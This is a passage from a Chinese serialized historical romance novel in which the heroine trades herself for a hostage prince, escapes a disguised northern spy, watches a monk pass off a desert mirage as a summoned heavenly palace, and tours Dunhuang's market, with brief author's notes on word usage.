他却并不惊慌,先打了个呼哨,黑夜中顿时响起一阵马蹄。他又勾唇冷笑了笑,握住匕首准备突围。 也就在这时,下方官舍一间房门打开,听到动静却不明所以的周子炤,揉着眼睛走出来,看到院中点了灯,又围着持刀侍卫,惊讶问道:“发生何事了?” 李赟当即变色一遍:“五郎,快进屋!” “啊?!”周子炤眨眨眼睛,显然没反应过来。 而就在下一刻,屋顶的马奴阿七,一跃而下,顷刻间便来到周子炤身旁,手上的匕首也抵在了对方脖颈处。 齐王殿下这才彻底清醒过来,吓得语不成调:“你……你是何人?意欲何为?” 阿七却没回答他的话,只看向院中脸色深沉的李赟:“小凉王,想要齐王活命,那就叫人让开!” 周子炤破口大骂:“你这马奴,竟敢挟持本王,我要杀了你全家!” 阿七冷笑一声:“齐王殿下!我全家早就被你们杀死了!” 说罢,手上稍稍用力,刀刃抵入对方脖颈,瞬间渗出一抹鲜血。 脖颈上传来的疼痛顿时灭了周子炤的气势,他哆哆嗦嗦道:“表兄,救我!” 李赟挥挥手:“让他出去!” 原本守在官舍出口的护卫们,齐齐让开一条路。 阿七挟持着周子炤小心翼翼往外走,只是刚走到门口,却听身后传来一道清灵的声音。 “且慢!” 阿七转头,看到夜灯下,不知何时出现在的女子,正一步一步朝自己走过来。 他笑了笑,语气轻佻道:“怎么?侯夫人舍不得在下?” 那张被火烧毁的脸,在摇曳灯火下,越发显得狰狞可怖,而这句轻浮浪荡之语,用一把灼伤的嘶哑嗓音从这张脸上吐出,便实在是如羞辱一般。 李赟脸色明显越发冷沉,白芷气得大叫:“大胆贱奴,竟然对娘子不敬!” 只有明宜神色依旧平静,她走到距离人半丈的距离方才停下,然后一字一句淡声开口:“阿七,你只身一人挟持齐王殿下从大马营逃走,只怕没那么容易?” 阿七嗤笑:“哦?侯夫人这是关心我能不能安全离开!” 明宜继续道:“不如我与齐王殿下交换,我比齐王轻,也不会武功,你挟持我比挟持他定然轻松许多。而我虽然比不上齐王身份尊贵,但对凉王府来说,却是同等重要。” 这回不仅是阿七,就是被挟持的周子炤,也不可置信地睁大眼睛:“三娘子……万万不可……” 而阿七在短暂的惊愕后,勾了勾嘴角,道:“侯夫人为何愿意做我的人质?还请给我一个理由。” 明宜道:“理由很简单,若你带着齐王顺利逃离大马营,届时齐王于你来说,便只是个单纯的累赘,只怕你会杀了他了之。但如果是我,想来你应该会留我一命。” 阿七道挑挑眉头:“那是自然,在下容貌丑陋,一直未曾娶妻,若是侯夫人愿意跟我走,与我去北狄做一对鸳鸯,确实是一桩美事。” 白芷气得跳起来:“狗东西!你想得美!” 明宜确实不为所动,只是看着对方道:“那阿七,你愿意换吗?” 阿七稍作犹豫,然后笑着朝她招招手:“还请侯夫人走过来!” 明宜一步一步朝对方走过去。 周子炤涨红脸道:“三娘子……万万不可……” 明宜却看也不看他,只是望着阿七那张丑陋的脸。 阿七动作极为迅速,几乎在明宜靠近那一刹那,便一脚踹开周子炤,手臂中的人就由周子炤变成了她。 “让开!”一气呵成后,男人又大吼一声。 护卫们紧握刀柄,可谁也不敢乱动,只能眼睁睁望着这丑陋的马奴挟持着侯夫人朝外走去。 刚出院门,一匹俊美便由夜色下奔腾而来。 阿七一手拽住辔绳,一手抱住明宜,眨眼睛已跃上马背。 “驾——” 下一刻,马儿便托着两人没入沉沉黑夜。 一行人跟来门口,楚飞见状慌忙拱手道:“王爷——” 李赟脸色深沉如水,言简意赅吩咐:“追!” 明宜几乎是被身后的男人搂在怀中,但因为马跑得很快,夜风如刀一样从脸上刮过,剧烈的颠簸和痛感,削弱了与陌生男人如此靠近的不适感。 也不知道身下的马跑了多久,只知跑过了草原,进入了山林,路过风声、鸟叫、兽鸣,然后便是潺潺流水。 随着黑沉沉的天渐渐露出了一丝微光,奔腾的马也因为疲惫而缓缓停下来。 明宜猜想应该跑了几十里地。 “侯夫人受累了,等再往前几里路,过了河,咱们就安全了。” 男人的气息就在耳旁,明宜不太自在地往前微微倾身,她轻描淡写开口:“阿七,你不觉得没劲了吗?” 男人扭扭脖子,笑说:“好像是有些累了,多谢侯夫人关心。” 但很快觉察出不对劲。 明宜轻笑了笑,忽然撞开他握着辔绳的手臂。 男人猝不及防,竟是让她挣脱跳下了马,他赶紧勒了马绳,自己也跳了下去。 只是刚落地便觉双腿一软,差点没站稳。 与此同时,落在地上的明宜已经往后退开几步,手中多了一把锃亮的短刀。 阿七见状戏谑般开口:“看侯夫人拿刀的姿势,似乎也并非完全没习过武。” 明宜不置可否,只小心翼翼后退两步,盯着对方道:“阿七,你没感觉你已经使不上力了吗?” 阿七眉头一皱,想要用力上前将她捉住,脚下却踉跄了两步,虽未倒地,却显然是如她所说使不上太大力气了。 他惊愕地看向薄暮之中那人畜无害的女子:“你对我做了什么?” 明宜道:“昨晚给你的那颗药是软骨丸,吃过之后,力气会减弱,功夫也使不上来。” 阿七微微一怔,继而又大笑起来:“看来侯夫人一早就对我起了疑心,我是不是该感谢侯夫人只给我喂软骨丹?而不是毒药?” 明宜:“那倒不用,我先前对你只是怀疑,并不能确定,自然不能随意乱杀无辜。” 阿七笑得越发厉害:“我很好奇,你是怎么了发觉的?” 明宜随口道:“直觉罢了。” 阿七:“我真是小瞧了侯夫人,在你这里吃了一堑,却没有长一智。” 明宜眸光一动,面上也露出一丝惊愕:“你是鲁刺儿?” “侯夫人自投罗网,我很高兴。”阿七笑,继而又语气张狂道:“但侯夫人觉得一颗软骨丹就能奈我何?” 话音刚落,他手上短刀狠狠刺入手臂,鲜血涌出来,疼痛让他力气陡然恢复不少。 明宜见状急忙往后退开,避开他扑过来的双臂,手上短刀毫不犹豫从对方肩头划过,带出一抹鲜血。 男人低头看了看受伤的肩膀,又见女人原本平静的面上露出一丝惊惧:“侯夫人确实胆识过人,不过应该没有杀过人吧?你敢杀我吗?” 说罢,再次欺身向前。 明宜银牙一咬,手中短刀狠狠他胸口刺去。 鲁刺儿神色微变,幸而反应还算灵敏,堪堪避过了这一刀,只让对方划破了衣裳,一片结实的胸膛,露出一道血痕。 “看来我小瞧了侯夫人。”鲁刺儿冷然道。 明宜不敢再犹豫,手中短刀猛得挥上前,狠狠朝对方刺去。 然而鲁刺儿比他预想的还要难缠,分明中了药,但或许是因为放了血再加上过人的意志,这药对他的影响看起来并没有多大,竟然一连避开她几记攻击。 “侯夫人有点本事。”鲁刺儿轻笑,那张以假乱真的人脸,在晨光中,愈发显得狰狞。 不过明宜虽然心惊,却也并未害怕,因为她看得出对方是在强撑,只是一时胶着,也想不出什么办法将此人制服。 就在这时,原本寂静的林中,忽然由远及近传来哒哒马蹄。 鲁刺儿眸光一闪,冷笑道:“小凉王果然有点本事,这条路都能找到。” 明宜趁他闪神之际,一刀朝他面上刺过去。 鲁刺儿在猝不及防慌忙闪避,虽然勉强避开,耳侧还是被划破了一道口子,人也差点踉跄倒地。 他抬手抹了把裂开的面皮,有些气急败坏地咒骂一声,忽然一掌朝明宜劈过来。 明宜大惊,赶紧闪躲,不料对方大手却只是从她头上扫过。 下一刻,头上玉簪便在对方手中。 明宜原本绾起的长发,瀑布一样散落下来。 鲁刺儿扬眉一笑,几个箭步跃上旁边的马儿,嚣张道:“侯夫人,这簪子我留下了,就当是你我的定情信物了,下回我定带你回北狄,娶你做我的夫人,咱们后会有期!” 明宜对这轻薄之语不甚在意,只想将人拦下,但她只身一人,如何能拦得住一匹骏马? 只能眼睁睁看着对方策马消失在晨光中的密林。 须臾之后,先前那马蹄声渐近。 楚飞熟悉的声音响起:“是二夫人!” 手握短刀,披头散发站在原地的明宜循声看去,果然见是李赟带着人追了过来。 她重重舒了口气,卸力般跌坐在地。 李赟见到她独自站在林中,原本是舒了口气,但此刻又见她坐在地上,赶紧勒马跳下来,疾步走过来,蹙眉忧心忡忡问道:“弟妹,你怎么样?” 明宜摇摇头:“我没事。”又抬手指了指鲁刺儿逃离的方向,“人往那边跑了——” 李赟转头吩咐:“赶紧追!” 楚飞忙带着人继续去追。 马蹄乌泱泱离去,顷刻之间,林中之剩下明宜和李赟。 明宜回过神来,对上晨曦中那双担忧的灰眸,再次道:“我无碍,阿兄不用担心。” 李赟双眸从她脸颊自上而下打量。 明明只是打量,明宜却觉得那视线像是火燎般,让她浑身忍不住有些战栗。 李赟的目光最终落在她手中的短刀上,确切的说是落在那刀刃上的血迹上。 明怡赶紧解释道:“是鲁刺儿的血。” 李赟蹙眉,抬头看向她:“那马奴是鲁刺儿?” 明宜点头。 李赟似是轻笑了声,开口的声音却十分冷沉:“那你为何先前不告诉我?明知道他是鲁斯儿,还和五郎换?” 明宜听出他声音中的愠怒,赶紧解释道:“我先前也并不知,和齐王殿下换是因为我知体内的药支撑不了太久,我也看过马场舆图,就算阿兄追不上,我自己也能找到回去的路。” 李赟哂笑:“你倒是一早料定我追不上你们。” 明宜轻咳一声:“我正是知道阿兄弟能追上我们,才敢和齐王殿下换。” “弟妹还真是有勇有谋。” 只是这话怎么听着都不像是夸赞,而是带了些讥诮。 明宜忍不住腹诽,明明已经提前与他说过自己的怀疑,周子炤被挟持事发突然,她当然不该逞英雄,可周子炤往大了说是大宁皇子,往小了说是李悆的亲表哥,他总不能眼睁睁看着他丢了性命。 而自己清楚阿七中了自己的软骨丹,也早就看好了舆图。 这样简单的道理,李赟作为小凉王不会不懂,也不知他生哪门子的气? 她实在是摸不准这位小凉王的心思,似乎怎样做都很难投其所好。 李赟没有再说话,只是凝望她。 晨光从林中透进来,洒在明宜鬓发微乱的脸上。被迫奔袭了半夜,除却疲累,也受了些惊吓,脸上不免微微苍白,眸中也蔓延着红血丝。 若是不知道,看起来依旧像是个未曾经过风浪胆小怯弱的京城贵女。 但李赟知道她不是。 她只是生了一张欺骗性迷惑性的皮囊,他也并不知真正的她何模样,但定然不是这副皮囊所表现的样子。 毕竟她敢以自己去换周子炤,眼下还握着一把沾着血的刀。 思及此,李赟忽的低低笑了声。 明宜不解地看向他。 李赟显然也没打算解释,目光落在她散乱的头发上,随手从自己头上发冠取下来递给她。 明宜不明所以。 李赟:“戴上。” “哦。”明宜这才反应过来自己此刻是个披头散发的样子。 她低下头,用发冠将头发束好。 此刻只有两人,她能感觉到李赟的目光就在自己身上,这样肆无忌惮的打量其实是僭越,但他显然并不在意,不过除了目光,好在没有其他动作。 戴好发冠,明宜抬头,再次对上那双深灰色的眸子。 李赟勾唇轻笑了笑:“好了。” 就在这时,原本远走的马蹄声又响起,明宜双眼一亮:“他们回来了!” 话音刚落,楚飞骑马的身影便出现在林中,带着乌泱泱一群人去而复返。 明宜看到了鲁刺儿那匹马,马背上却没有鲁刺儿的身影。 楚飞勒住马跳下来拱手跪地道:“启禀王爷,那北狄贼子跳入河中,没能追上。”顿了下又补充一句,“但那河水湍急,顷刻便没了影子,应是活不了。” 李赟仿佛是在意料之中道,施施然站起身,哂笑道:“要是这么容易死,就不是鲁刺儿了。” 楚飞大惊:“那马奴是鲁刺儿?” 李赟扯了下嘴角:“虽然鲁刺儿不好抓,但二夫人给你们这么好的机会,你们还抓不到人,”你们可真是凉王府的好兵。” 楚飞不敢说话。 李赟冷哼一声:“走,回去!” * 回到牧监,已是日上三竿。 安达带着人战战兢兢跪在大门口。 自己虚报了一万匹战马,马场连出两个细作,一个还刺杀小凉王,挟持走侯夫人,他这个牧监难辞其咎。 周子炤则在跪着的人群前焦灼的来回踱步。 见到马群归来,他立刻跑着赢上去,先是唤了一声打头的李赟,然后便直直朝后面的明宜跑过去,大声呼叫着“三娘子”。 原本颠簸一路的明宜,疲惫交加,倒是被这齐王殿下叫魂一般的呼唤唤醒了精神。 跳下马刚刚站稳,周子炤已经张牙舞爪奔过来,一把将她的手臂握住,声音都变了调:“三娘子,你没事吧?” 被他抓得生疼的明宜,赶紧将手臂挣开:“殿下不用担心,我没事。” 周子炤又上下打量她一番,确定她无碍,才稍稍松了口气,紧接着眼圈一红,眼泪直在眼眶里打转:“三娘子,你说你怎么这么傻?我何德何能值得你舍命救我?” 明宜轻咳一声:“殿下言重了,我是确定能自己能安全脱身,才与殿下交换。” “三娘子不用安慰我,那可是北狄细作,你如何就确定他不会杀你?” 明宜正要给他仔细解释,以防这位齐王殿小题大做,李赟已经走过来淡声插嘴道:“弟妹昨日已经看出那人有问题,提前给他吃了软骨丹,她自然心里有数。” 周子炤一愣:“你们早知他是细作,为何不提前与我说?” “自然是不想打草惊蛇。” “我又不是草。”周子炤不满地咕哝一声,不过也是彻底松了口气,收回了那一包差点决堤的眼泪,咧嘴笑道,“不管怎么样,我还是要感谢三子的救命之恩。” 明宜道:“表兄,不用放在心上,” “要的,要的。”周子炤说完又想到什么似乎的,问:“对了,那北狄细作呢?没抓到?” 李赟点头:“嗯,让他跑了” 周子炤皱眉道:“不是中了软骨丹么?怎么会让他跑了呢?” 明宜小声道:“那人是鲁刺儿。” “什么!是鲁刺儿?”周子炤大惊,“看来真是个难缠的玩意儿!” 李赟没再理会他,径直朝牧监大门走去 安达连连跪头:“王爷恕罪。” 李赟倒是没发火,只冷声问道:“你们每日都会清点马奴?” “马监早晚都会清点马奴人数,以防有马奴私逃。” 李赟了然点头:“看来是有两个阿七了。” 明宜知道他的意思,阿七已经来马营半年,但之前鲁刺儿却在凉州出没,可见原本是有一个阿七在此,只是这几日,鲁刺儿顶替了原本的阿七。 这也让她中有些惊惶,鲁刺儿可以是马场的阿七,那也可能是其他任何地方的阿八阿九,如此,那可真是防不胜防。 若他留在凉王府,只怕以她自己之力,确实防不住这个人—— 作者有话说:是比较剧情的故事啊,感情戏相对比较慢,但也不是很慢~毕竟也没多长 PS昨天收藏涨了些,去搜了下,看到是博主提了这篇文,然后看到一个有意思的评论吐槽作者藏拙和藏锋都分不清(文案藏拙式女主) 那么,作者是不是真的用词错误? 答案是:没有! 藏拙在古代原意是掩藏缺点和短处的意思,一种谦虚说法。 但众所周知词意会发生变化的,尤其是现代语境下,因为藏拙原本有谦虚之意,后面引申出了掩藏长处和优点的意思。 《现代汉语词典》第七版:藏拙:怕丢丑,不愿把自己的意见或技能表露出来让别人知道。 这也正是女主的心态。 就跟登堂入室空穴来风的一样,都是随着时代约定俗成,演变成了与古代不同甚至相反的意思。 反倒是藏锋用在女主身上不合适,藏锋偏向刻意隐藏能力,以谋长远的意思,女主是没有的, 第37章 第 36 章 心愿 正想着, 李赟转头道:“你回房休息吧,明日我们再启程。” 明宜知道他与安牧监有事商量,点点头与他行了礼, 先回了官舍。 在院中等了一夜的白芷, 见到她完好归来,喜极而泣迎上来:“娘子, 你没事吧?” “我没事, 你让人送热水来,我要洗漱一下。” 或许是熬了一夜, 明宜洗过后简单用了膳, 倒头便沉沉睡去, 再醒来已是傍晚, 目光转动间,忽然瞥到床边发冠。 她拿了发冠出门, 准备去还给李赟, 正好看到楚飞从对方房内出来。 “王爷在忙吗?”明宜随口问道。 楚飞拱手道:“哦,已经忙完了,正要用膳呢。” 明宜点点头, 走到李赟虚掩的房门口, 还未抬手叩响, 李赟低沉的声音已经先传出来:“进来吧,” “阿兄,我来还你的发冠。” 明宜走进屋内,先行了个礼, 才又继续上前,弯身将手中发冠放在案上。 李赟拿过发冠随手放在一旁,不等明宜起身离开, 先开口道:“正好要用膳了,一起吧,” “嗯。”明宜从善如流在他对面坐下。 只是刚坐下就听到周子炤的声音:“三娘子,我正找你一起用膳呢,原来你在这里。” 齐王殿下不请自入,坐下来自顾地絮絮叨叨:“一想到昨晚的事,我现在还是心有余悸,那鲁刺儿本来就是要抓三娘子的,昨日三娘子简直就是自投罗网啊!幸好提前有所防备,不然后果不堪设想。” 明宜轻笑:“没有防备,我也不敢啊,何况阿兄肯定能救回我。” 话音刚落,便听李赟似笑非笑哼了声。 明宜不由得有些心虚,自己虽有拍马屁之嫌,却也是真心话。 若不是李赟在,她也不会贸然换下周子炤。 周子炤则是哈哈朗声笑道:“这倒是,有表兄在,咱们都不会出事。” “你们倒也不用给我戴高帽,别忘了这鲁刺儿已经连着几次从我手中逃脱,这还是在我的地盘呢。” 周子炤啧了声:“话说这鲁刺儿确实有点本事,不过他北狄太子的人,先前那几个马场细作却是突涅小可汗派来的,看来不是一路,也难怪故意帮我们抓了细作,借此立功,让我们对他疏于防备。” 李赟蹙起眉头:“反正你俩以后都当心点,这人神出鬼没,极为难缠。”说着又看明宜,“弟妹几次从他手中逃脱,让他吃了亏,只怕他对弟妹更加不会善罢甘休。” 明宜从善如流点头:“我会小心的。” 也不知是不是闹了这一场,后半日乃至整个夜晚,整个牧监显得格外风平浪静。 明宜甚至也没听到李赟再训安牧监。 翌日清晨,众人都起了大早,等一众人用过早膳,天未亮就起床带人去马场放马的安牧监,抽空回来为小凉王送行。 比起第一日的圆滑玲珑,安牧监眼下的那叫一个谨小慎微,也不知是不是没吃好睡好的缘故,一张大饼脸似乎都清减了几分。 他弓着身子,目送李赟几人上马车。 “臣恭送王爷,祝王爷一路平安!” 李赟单手打着车帘,轻飘飘瞥他一眼:“好好看着马场,若是再出事,保不住的就不只是你这身官服,而是你脖子上那颗脑袋了。” 安达哆哆嗦嗦点头:“臣遵旨。” 李赟冷哼一声,将车帘甩下。 安达对着马车作了一揖,又想到什么似的看向后面那辆车,见明宜上车,赶紧走过去一步,拱手道,“这回多谢侯夫人,才避免了大祸事,侯夫人大恩大德,臣没齿难忘。” 明宜微微一愣,道:“我不过举手之劳,安牧监客气了。” 安达呵呵笑了笑,又真心实意道;“臣祝侯夫人一路顺风。” “承安牧监吉言。” 话是这么说,但明宜却有种预感,这一趟西行只怕不会那么顺风。 但不知是不是终于走出来了舒适地带,这种未知的冒险,虽然也还是让她有些不安,却也令 人有种蠢蠢欲动的期待。 * 不过显然明宜有些多虑,河西虽然复杂,但在几代凉王治下,如今还算太平。 从大马营出发,过甘州,到肃州,途径草原戈壁再到沙漠,一路风平浪静。 又正是好时节,日日见到壮丽风光,不免让人心旷神怡。 各州军务虽多少有些疏漏,但也算差强人意,尤其是肃州两万屯兵,军纪严明,士马精强。 明宜也见识了小凉王在河西军中的威信,上到刺史下到兵卒,皆对其三分畏惧七分崇敬,长安坊间关于小凉王的传闻,到了这里,一一应证。 明宜虽依旧觉得对方心思捉摸不定,但也不得不承认,河西乃至大凉的安稳,小凉王功不可没。 也因李赟心思难以捉摸,这一路因无事发生,两人交谈甚少,自己每日礼节性问安,对方偶尔关心一句自己饮食起居,就如一个恪守礼节的夫兄。 倒是周子炤,因为明宜的舍身相救,做什么都要拉着她,倒是一下熟络起来,仿佛当真是亲兄妹一般。 这般赶路转眼便是近十天,到了河西最后一个大驿站——悬泉驿。 驿站建于沙漠之中,距离敦煌城只隔几十里。 连着几日都在隔壁沙漠赶路,下榻多是小驿站,难得有个大驿站,吃了顿好饭,洗漱沐浴,然后好好睡了一觉。 睁眼已是日上三竿,还是周子炤来敲门,明宜才醒过来。 待她穿戴洗漱,周子炤便亟不可待进了屋。 “表兄,是要出发了吗?”明宜随口问。 “那倒没有,三娘子不用急。”周子炤摇摇头,兴奋道,“刚刚听驿站的人说,巳时昙迦大师会在附近做法,召唤天宫为百姓祈福,届时在天宫下许愿会很灵。” 什么玩意儿? 明宜一头雾水。 不过她倒是听说过昙迦的名字:“你是说那位敦煌高僧昙迦?” 周子炤兴奋点头:“嗯,久闻大名,这回总算能一睹高僧风采。” 明宜还是有些不明所以:“虽然听说过昙迦大师佛学造诣颇深,但召唤天宫是怎么回事?听着不像高僧,倒像方士了。” 周子炤摊摊手道:“我也不清楚,听说已经召唤过几次,祈福许愿十分灵验。总归大师总该与凡夫俗子不同,我们去跟着瞧瞧便知了。” 明宜并不信怪力乱神,佛学与她来说,也不过是修心明理,但他周子炤这话,倒确实让她有些好奇:“阿兄怎么说,也要去看么?” “嗯,表兄说待你吃过饭,我们便启程去敦煌,正好去看看。” 明宜闻言不好再耽搁,忙草草用了早膳。 果不其然,待她出门,李赟早已身长玉立等在门口。 明宜赶紧行礼道:“让阿兄久等了。” “不急。”李赟一如既往言简意赅。 上了马车,出了驿站,明宜打开车帘,果然看到原本人烟稀少的黄沙之中,多了乌泱泱的人群,正往一处沙丘前涌过去。 有驼队、马队,也有步行之人。 而那沙丘与驿站隔了些距离,遥遥看去,似有黑影在上。 及至行近一些,明宜方才看清,沙丘之上的黑影,原是停靠着一辆华贵马车,马车前站立着两个青袍僧人,而在两人之中,则盘腿坐着一个红袈裟的鹤须僧人。 原本并不稀奇,只是那鹤须僧人整个身体都悬在半空,因而虽是盘腿而坐,却比身旁两个年轻僧人更高一些。 白芷惊讶道:“莫非这僧人当真已得道成仙。” 明宜蹙了蹙眉,不置可否。 乌泱泱的人马挤在山坡之下,一行人也在人群后停下。 周子炤率先下车,立刻跑到明宜车旁,亲自替她掀开帘子,激动道:“三娘子,你看到沙丘上的昙迦大师没?” 明宜一边下车一边点头:“嗯,看到了。” 周子炤又朝那沙丘看了眼:“果然是得道高僧,竟能漂浮在空中!” 说着双手合十,朝山丘上的僧人虔诚地拜了拜。 明宜笑了笑没说话,看向施施然走过来的李赟,然后朝他揖了一礼。 李赟轻描淡写点头,又眼明手快将准备朝前方人群挤过去的周子炤一把拽住:“五郎,别乱跑!” “表兄,人太多了,我们去前边才能看得清楚。”周子炤指了指山丘激动道。 李赟却是淡声道:“你要看昙迦大师,回头去仙岩寺拜访便好,今日是来看天宫,不需要去前面。” 周子炤反应过来笑嘻嘻点点头:“也对。”又说,“表兄,这昙迦大师果然名不虚传。” 李赟扯了扯嘴角,没回应他的话,只是上前一步,走到明宜身侧,看了眼那沙丘,似是随口问道:“弟妹怎么觉得?” 明宜看了眼前方俨然狂热的信众,低声回他:“未曾亲见,不得而知。”顿了下,又用只有两人听得到的声音随口道,“河西盛行佛法,但阿兄似乎并不信。” 李赟轻笑了笑,垂眸瞥向她,问道:“弟妹如何这般说?” 语气轻描淡写,却明显有几分意味深长。 明宜之所以这样说,自然是因为想起那日在永安园中,见他在佛堂杀死亲表哥,不仅是他不信,他的亲随楚飞显然也不信。 只是这话自然不能说,她也轻笑了笑:“我见阿兄在府中时并不拜佛,想着应是不信。” 李赟勾了下嘴角:“原来如此。”顿了下,又似是随口补充,“我这样浑身杀戮之人,无法信佛。” 明宜微微一愣,又轻咳一声,话锋一转:“阿兄如何看那山丘上的昙迦大师?” 李赟沉下脸冷哼一声:“装神弄鬼的障眼法罢了。” 明宜笑了笑,这倒是与自己想的不谋而合。 又听对方有些不屑道,“昙迦从前一心凿佛窟修经文,我敬他是真正的大师,如今也开始招摇撞骗了?” 明宜好奇问:“阿兄从前见过昙迦?” 李赟:“嗯,见过两次。” 他神色淡然,可见确实不信佛法。 也对,他是杀神,如何信佛? 正想着,不知谁叫了一声:“天宫出现了!” 原本双手合十的众人,齐齐朝天空看去。 明宜也抬头,果然见沙丘之后的天空隐隐约约浮上一座城池一般的影子。 那沙丘上原本站立的年轻僧人,赶紧跪下。 沙丘下乌泱泱的人群,也都纷纷俯身跪在地上,虔诚地跪拜。 周子炤激动地拉了拉两人:“表兄三娘子,真有天宫!” 说着也学人跪下。 明宜抿抿唇,看向李赟,却见对方脸色冷沉,有几分讥诮之色,不等她收回目光,对方偏头对上她的目光,然后挑了挑眉头。 明宜不明所以。 李赟又轻声问:“弟妹见天宫出现,如何不惊讶跪地?” 明宜道:“这天宫应该是传说中的海市蜃楼,《史记》记载:海旁蜃气象楼台,广野气成宫阙然,不过是海边和沙漠自然现象,并非高僧召唤。” 两人声音很低,只有彼此能听到。 李赟轻笑了笑,浮上几分满意。 “不过平生第一次见到此景,确实该跪一跪祈祈福!说不定真的很灵。”明宜刚说完,便拎着裙袍跪下。 李赟看着跪在沙地的明宜,面色微微一僵:“……” 明宜倒也不是觉得这海市蜃楼真有什么祈福之用,只是周围人都跪着,她可不想太显眼。 周子炤见李赟不跪,赶紧拉了拉他的袍摆,压低声音催促:“阿兄,你怎么不跪!天宫呢,定然很灵验。” 李赟却是岿然不动。 及至见到明宜双手俯地,口中念念有词,他这才不情不愿跪下,却也只是单膝跪地。 明宜暗暗舒了口气,总算不被人注意了。 与此同时,她忽然听到身旁的李赟低沉的声音在耳畔响起:“弟妹许什么愿?” 明宜微微一愣。 还未回答,又听对方倨傲道:“天宫不能替你做到的,或许我可以。” 这家伙果然还是不屑这些,口气大得很,不过自己的心愿,对方倒真可以完成。 明宜笑了笑,低声道:“我希望我们此行平安,北狄不犯,我能顺利回到长安。” 耳畔许久没有声音,片刻后才听到对方道:“那确实该让上苍保佑。” 明宜:“……” 这边周子炤听着两人叽叽咕咕,忍不住问道:“你们说什么呢?” 李赟不答反问:“五郎许什么愿?” 周子炤嘿嘿笑道:“我为表兄祈福。” “你有心了。” “毕竟有表兄,河西才太平,大宁才太平,我也才能继续当我的闲散王爷。” 周子炤笑呵呵道,又问,“表兄你呢?你有什么心愿?” 李赟道:“我心愿不求天宫。” 周子炤:“你这样就没意思了。”—— 作者有话说:嘿嘿,忘了放存稿箱,迟了一点 第38章 第 37 章 沙狼 这海市蜃楼持续了约莫一炷香的功夫, 随后天空又变成一望无际的碧蓝。 那山丘上双手合十的僧人,在两个弟子的搀扶下进了马车,很快在黄沙上绝尘而去。 地上跪拜的信众们, 在马车走远后才缓缓站起来, 由寂静变回嘈杂,激动地交头接耳, 回味着刚刚亲眼所见的天宫, 仿佛他们所许下的愿望必定灵验一般。 因为俯身趴地,明宜和周子炤衣袍上都沾了不少沙尘, 只有象征性单膝跪地的李赟, 几近一尘不染。 周子炤一边拍着衣裳, 一边不满地觑眼看向他:“表兄, 不是我说你,做人呐, 还需得有点敬畏之心。那昙迦大师你不敬也罢了, 连天宫都不放在眼里,你再厉害难不成还胜过天上神仙?” 李赟轻笑一声:“行,你要有什么事找神仙便好。” 周子炤一听, 又赶紧换上一副谄媚的模样, 拉住他的袖袍, 假惺惺给他拍了拍:“那我有事还是第一个找表兄。” 李赟轻飘飘将手挣开,灰眸从明宜脸上扫过,淡声道:“行了,上车赶路。” * 说是赶路, 实则只剩最后一程,一路优哉游哉,到了中午, 也便入了敦煌城。 虽是建在沙漠上的一座城,但因是东西商客们最重要的中转站,即便比不得长安和凉州城的繁华,却也十分热闹。 一进城门,明宜便听外面喧杂吵闹沸反盈天,她好奇打开车帘瞧去,果见商铺林立,行人摩肩接,异族面孔比凉州城更甚,番语和驼铃不绝于耳,别有一番风情。 明宜正好奇着,却见周子炤从前面马车跳下来,兴冲冲跑到自己窗外,道:“三娘子,我刚听说今日是集日,难怪如此热闹,我们先去逛逛如何?” 明宜回头往后面的马车看去,低声道:“不知阿兄是否会同意?” 周子炤嘻嘻笑道:“你与我一起同他说,他定然会答应的。”说着又补充一句,“这一路来我可算是发现了,但凡你要做的事儿,他都不会拒绝。” 明宜一愣,转念一想,虽然自己这一路所求不多,但对方确实有求必应,倒是对这位齐王殿下所求时常毫不犹豫拒绝。 当然,明宜将此归结于两人是打断骨头连着筋的表兄弟,关系更亲近,拒绝起来自然也方便。而自己不过是一个才认识不久的弟妹,总要多些礼节。 因她也想逛逛这别有风情的热闹集市,便下了车。 周子炤招招手,喜滋滋领着朝李赟的马车跑去。 两人还未走近,李赟已经掀开车帘,探出那张轮廓分明的俊美脸:“何事?” 周子炤搓着双手笑得一脸谄媚:“表兄,我和三娘子想先在城中逛逛,晚些再去刺史府下榻。” 因李赟是出来办差,在城中住的都是官舍,如今在敦煌,他们便是要下榻在沙洲刺史府官舍。 李赟蹙了蹙眉头,显然对此提议不以为然,但冷清的灰眸目光落在明宜脸上,又将眉头微微舒展,点头道:“行。” 周子炤喜滋滋道:“你派几个护卫给我们就好,我看城中巡逻兵卒不少,应该没什么危险。” 李赟脸色一沉:“这是敦煌,不是凉州,流民多过在籍百姓,城中防卫也比不得凉州。”说罢,人已经从车上跳下来,“我与你们一起。” 周子炤先是一愣,继而又大喜过望:“表兄能与我们一起,那可是太好了。” 因李赟来过敦煌,有他同行,两人逛起这陌生的敦煌集市也方便许多。 周子炤迫不及待的拉起明宜袖子,一脸兴奋地朝熙熙攘攘的人群挤过去。 李赟不紧不慢跟在两人身后,看到明宜不着痕迹的将袖子从周子炤手中挣开,嘴角轻轻勾了勾。 明宜到底也是好奇,加之这一路来与周子炤相熟,对方脱兔一般活跃,也不由得被感染,兴致盎然跟着对方东瞧瞧西看看。 “三娘子,你瞧那边的瓜果真漂亮,咱们买些来吃着解解渴。” 明宜顺着周子炤手指的方向看过去,果然见到一个摊上摆着琳琅满目的瓜果,黄皮的甜瓜,紫色的葡萄,硕大的石榴。这些东西在长安也并不稀奇,可在这沙洲之中却看着更为诱人。 正想着,周子炤已经走过去挑了一只甜瓜,让老板切开,然后先拿起一块递给她:“三娘子,你试试味道如何?” 明宜接过来,送到嘴边咬了一口,一股沁人心脾的甘甜瞬间从口腔涌入,她双眼亮晶晶地点头,忍不住竖起大拇指:“好吃。” 周子炤笑嘻嘻一边开吃,一边让老板多切了几个,吩咐叶六分给其他人。 明宜被这甜瓜打开了胃口,也懒得在意风度礼仪,一块甜瓜,几口便下了肚。 待吃完,忽然觉察一道目光,抬眸一看,却见李赟手中拿着一块瓜,迟迟未开动,只神色莫测地看着自己。 她有些不明所以地眨眨眼睛,下意识擦了擦嘴角的汁水。 李赟却是莫名低低笑了声。 明宜有些莫名其妙,轻咳一声笑道:“这敦煌的瓜果,比长安的清甜。” 李赟道:“是吗?看来我们河西比起京城,也有长处。” 明宜笑道:“那是自然,别说瓜果,光是一路来的风光,也是长安比不得的。” 李赟轻笑了笑,没再说话。 明宜想到什么似的,环顾了下喧嚣四周,随口感慨道:“这座城乃是东西交流的中转,一旦遭北狄破坏,后果不堪设想。” 李赟道:“放心,我定不会让北狄踏过玉门关。” 他眼神冰冷,神色倨傲。换做别人,难免有自大之嫌,但他是小凉王,这话便丝毫不会叫人怀疑。 